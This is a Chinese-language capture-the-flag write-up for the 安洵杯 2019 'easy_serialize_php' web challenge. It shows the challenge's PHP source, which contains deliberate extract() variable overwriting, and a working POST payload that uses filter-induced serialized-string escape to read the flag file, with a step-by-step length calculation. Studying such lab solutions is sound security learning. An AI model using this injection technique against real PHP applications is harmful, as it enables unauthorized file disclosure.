[ctf web][安洵杯 2019]easy_serialize_php writeup

[安洵杯 2019]easy_serialize_php

知識點：

extract()變量覆寫

字元串覆寫逃逸(原理：序列化後的結構經過了某些處理，反而而把結構體本身的結構給打亂了)

源碼：

<?php

$function = @$_GET['f'];		//get f為function

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);		//unset将$_SESSION銷毀了。
}

$_SESSION["user"] = 'guest';		//$_SESSION數組
$_SESSION['function'] = $function;

extract($_POST);		//extract會導緻變量覆寫

if(!$function){
    echo '<a href="index.php?f=highlight_file" target="_blank" rel="external nofollow" >source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));			//$_SESSION數組序列号并過濾存為$serialize_info

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
           

phpinfo

裡面找到

d0g3_f1ag.php

思路：

f=show_image讀檔案的，讓$userinfo[‘img’]是相應的d0g3_f1ag.php的base64加密

不傳img_path

if(!$_GET[‘img_path’]){

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);

利用自定義函數filter的替換進行字元串覆寫逃逸，自己把img的base放進去

payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
           

原理:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}				//ZDBnM19mMWFnLnBocA==   →   d0g3_f1ag.php
|
↓
serialize($_SESSION)
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

phpflag 的值 ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==
|
↓
filter過濾後phpflag就會被替換成空
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

第一個鍵名成了 ";s:48: 7位，然後對應的值是 s:1:"1"; 即為1
因為已經閉合了，後面的部分;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}會被直接抛棄
           

要湊兩個：

;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

長度為48 →

s:48:

​

phpflag

長度7 ==

";s:48:

$flag = 'flag in /d0g3_fllllllag';

同理讀取

參考文章：https://www.cnblogs.com/h3zh1/p/12732336.html